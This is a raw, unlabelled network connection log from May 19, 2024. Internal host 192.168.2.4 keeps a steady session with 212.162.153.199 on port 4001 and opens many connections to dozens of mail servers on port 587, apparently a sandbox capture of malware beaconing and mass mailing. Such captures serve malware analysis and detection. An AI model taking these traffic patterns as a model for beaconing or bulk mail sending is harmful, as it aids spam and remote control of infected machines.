May 19, 2024 17:27:53.896908045 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.897192001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.897207975 CEST	49954	587	192.168.2.4	104.26.6.119
May 19, 2024 17:27:53.897258043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.897258043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.901487112 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.901540995 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:53.901572943 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:53.901619911 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:53.901748896 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:53.901837111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.901837111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.906215906 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.911391020 CEST	587	49954	104.26.6.119	192.168.2.4
May 19, 2024 17:27:53.911499977 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.911534071 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:53.912791014 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.918190956 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:53.918246031 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.918277979 CEST	587	50033	129.159.125.229	192.168.2.4
May 19, 2024 17:27:53.918514967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.923937082 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.927392006 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:53.927469015 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:53.932681084 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:53.932943106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.942998886 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:53.943100929 CEST	49825	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:53.944001913 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:53.944214106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.958630085 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:53.958636999 CEST	50033	587	192.168.2.4	129.159.125.229
May 19, 2024 17:27:53.972256899 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.972475052 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:53.972868919 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:27:53.972923040 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:27:53.972973108 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:53.973016977 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:53.973217010 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:53.973946095 CEST	50078	587	192.168.2.4	74.125.200.26
May 19, 2024 17:27:53.974395037 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:53.977483034 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:53.980237007 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.980696917 CEST	50079	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:53.982731104 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:53.987446070 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:53.987482071 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:27:53.987512112 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:27:53.987543106 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:53.987601995 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:53.987636089 CEST	587	50078	74.125.200.26	192.168.2.4
May 19, 2024 17:27:53.987705946 CEST	50078	587	192.168.2.4	74.125.200.26
May 19, 2024 17:27:53.987770081 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.989877939 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:53.992970943 CEST	587	50079	120.50.131.112	192.168.2.4
May 19, 2024 17:27:53.993015051 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.993047953 CEST	587	50067	65.20.63.172	192.168.2.4
May 19, 2024 17:27:53.993066072 CEST	50079	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:53.993078947 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:53.993139982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.993221998 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.993221998 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.998001099 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:27:53.998224020 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.002769947 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:54.002996922 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.007726908 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.008013010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.008013010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.012785912 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.017878056 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.021136045 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:54.026551008 CEST	587	50038	124.156.190.79	192.168.2.4
May 19, 2024 17:27:54.026813984 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.032284021 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:27:54.032660961 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.036761999 CEST	50067	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:54.036880016 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:54.038111925 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:54.038355112 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.042865038 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.047816992 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:27:54.048439980 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.052397013 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:54.052421093 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:27:54.054023027 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.067389011 CEST	50080	587	192.168.2.4	212.85.98.214
May 19, 2024 17:27:54.068739891 CEST	50038	587	192.168.2.4	124.156.190.79
May 19, 2024 17:27:54.072949886 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:27:54.073040009 CEST	50080	587	192.168.2.4	212.85.98.214
May 19, 2024 17:27:54.073200941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.077852964 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:54.078075886 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.083515882 CEST	587	49957	104.18.2.81	192.168.2.4
May 19, 2024 17:27:54.084378958 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:54.084381104 CEST	49957	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:54.084381104 CEST	49957	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:54.084389925 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:54.084485054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.088594913 CEST	587	49956	194.153.145.104	192.168.2.4
May 19, 2024 17:27:54.088782072 CEST	49956	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:54.088782072 CEST	49956	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:54.088887930 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.093439102 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.093497038 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:27:54.093529940 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:54.093700886 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.093700886 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.098273993 CEST	587	49957	104.18.2.81	192.168.2.4
May 19, 2024 17:27:54.099245071 CEST	49909	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:54.103164911 CEST	587	49956	194.153.145.104	192.168.2.4
May 19, 2024 17:27:54.103210926 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.108036041 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.130558014 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:54.136280060 CEST	587	50066	162.241.203.50	192.168.2.4
May 19, 2024 17:27:54.136544943 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.141972065 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:54.142024994 CEST	587	49960	119.205.213.227	192.168.2.4
May 19, 2024 17:27:54.142168999 CEST	49960	587	192.168.2.4	119.205.213.227
May 19, 2024 17:27:54.142246962 CEST	49960	587	192.168.2.4	119.205.213.227
May 19, 2024 17:27:54.142323017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.142323017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.146152020 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:27:54.146256924 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:54.147366047 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:54.147586107 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.152352095 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.152405024 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:54.152678013 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:54.152714014 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.157311916 CEST	587	49960	119.205.213.227	192.168.2.4
May 19, 2024 17:27:54.157365084 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.162549973 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:54.177406073 CEST	50066	587	192.168.2.4	162.241.203.50
May 19, 2024 17:27:54.182979107 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.183032990 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:54.183231115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.193030119 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:54.193041086 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:54.193074942 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:54.224296093 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:54.224988937 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:54.225552082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.225553036 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.227071047 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:54.227125883 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:54.227216959 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.227216959 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.231884003 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:54.232052088 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.232053041 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.236763954 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:54.236800909 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:54.236835003 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:54.236835957 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:54.236882925 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:54.236990929 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.246362925 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:54.246474981 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.246474981 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.250217915 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:54.250252962 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:54.250277996 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:54.250287056 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:54.250345945 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:54.250354052 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.250411987 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.250411987 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.257982969 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:54.258017063 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:54.258047104 CEST	587	49831	142.93.237.125	192.168.2.4
May 19, 2024 17:27:54.258074045 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:54.258078098 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:27:54.258110046 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.258138895 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.258166075 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.258193970 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.258220911 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.258246899 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.258275032 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.258793116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.259392023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.259634018 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.262727022 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.262756109 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.262783051 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.263144016 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:27:54.263195038 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:54.263261080 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:54.263314009 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:27:54.263437986 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:54.263498068 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:54.263592005 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:54.263669968 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:54.263730049 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:54.263813972 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:27:54.272591114 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.272619963 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.272648096 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.302412033 CEST	49831	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:54.303558111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.303566933 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:27:54.307749987 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:27:54.307790041 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:27:54.307821035 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:54.307849884 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:27:54.307878017 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:54.307907104 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:54.307935953 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:54.307964087 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:54.307993889 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:54.308022022 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:27:54.308049917 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:54.308080912 CEST	587	49962	77.78.119.119	192.168.2.4
May 19, 2024 17:27:54.308130980 CEST	49962	587	192.168.2.4	77.78.119.119
May 19, 2024 17:27:54.308187962 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.308243990 CEST	49962	587	192.168.2.4	77.78.119.119
May 19, 2024 17:27:54.308273077 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.314084053 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.314125061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.319132090 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.323245049 CEST	587	49962	77.78.119.119	192.168.2.4
May 19, 2024 17:27:54.323272943 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.328068018 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.328115940 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:27:54.328202009 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.334095001 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.349277973 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:54.357228041 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.357348919 CEST	49789	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:54.357677937 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:54.357741117 CEST	50007	587	192.168.2.4	164.90.197.79
May 19, 2024 17:27:54.358148098 CEST	50081	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:54.362462997 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:54.362492085 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:54.362529993 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:54.362616062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.362657070 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:54.362695932 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.362740040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.362787008 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.367198944 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:54.367228031 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:54.367525101 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.368521929 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:54.368551016 CEST	587	50007	164.90.197.79	192.168.2.4
May 19, 2024 17:27:54.368582010 CEST	587	50081	194.153.145.104	192.168.2.4
May 19, 2024 17:27:54.368649006 CEST	50081	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:54.368716002 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.370939016 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:54.370973110 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:54.371010065 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:54.371128082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.371128082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.374336004 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:54.374370098 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:54.374397039 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:54.374456882 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.374509096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.380270958 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:54.380300045 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.380327940 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.380378008 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:54.380528927 CEST	50059	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:54.380747080 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.385066986 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.385094881 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:54.385123014 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:54.385142088 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:54.385166883 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:54.385225058 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.385265112 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:54.385341883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.389786005 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.395231009 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:54.427356005 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:54.432286024 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.432316065 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:54.432346106 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:54.432391882 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:54.432471991 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.432519913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.432549953 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.457397938 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:54.457489967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.464391947 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:54.464421988 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:54.464474916 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:54.464514971 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.464526892 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:54.464561939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.470376968 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.470407963 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:27:54.470436096 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.470681906 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:54.470771074 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.470833063 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:54.470853090 CEST	50011	587	192.168.2.4	164.90.203.106
May 19, 2024 17:27:54.470854044 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:54.470875025 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:54.471066952 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:54.474263906 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:54.474273920 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:54.474381924 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:54.475332022 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:54.475431919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.480230093 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:54.480257988 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.485168934 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:54.485199928 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:54.485229015 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:54.485255957 CEST	587	50011	164.90.203.106	192.168.2.4
May 19, 2024 17:27:54.485282898 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:54.485311031 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:54.485337973 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:27:54.485366106 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:27:54.485558987 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.485558987 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.490559101 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.495522022 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.505634069 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:54.512797117 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:54.513031006 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.521223068 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:54.521224022 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:27:54.536861897 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:27:54.536866903 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:27:54.547488928 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:27:54.547703981 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.558320999 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.563399076 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.563627958 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:54.567991972 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:54.569060087 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.569112062 CEST	587	50007	164.90.197.79	192.168.2.4
May 19, 2024 17:27:54.569143057 CEST	587	50073	41.193.157.227	192.168.2.4
May 19, 2024 17:27:54.569232941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.569232941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.573822021 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:54.592225075 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:54.592565060 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.598011971 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.598063946 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:54.598095894 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:54.598150015 CEST	49734	4001	192.168.2.4	212.162.153.199
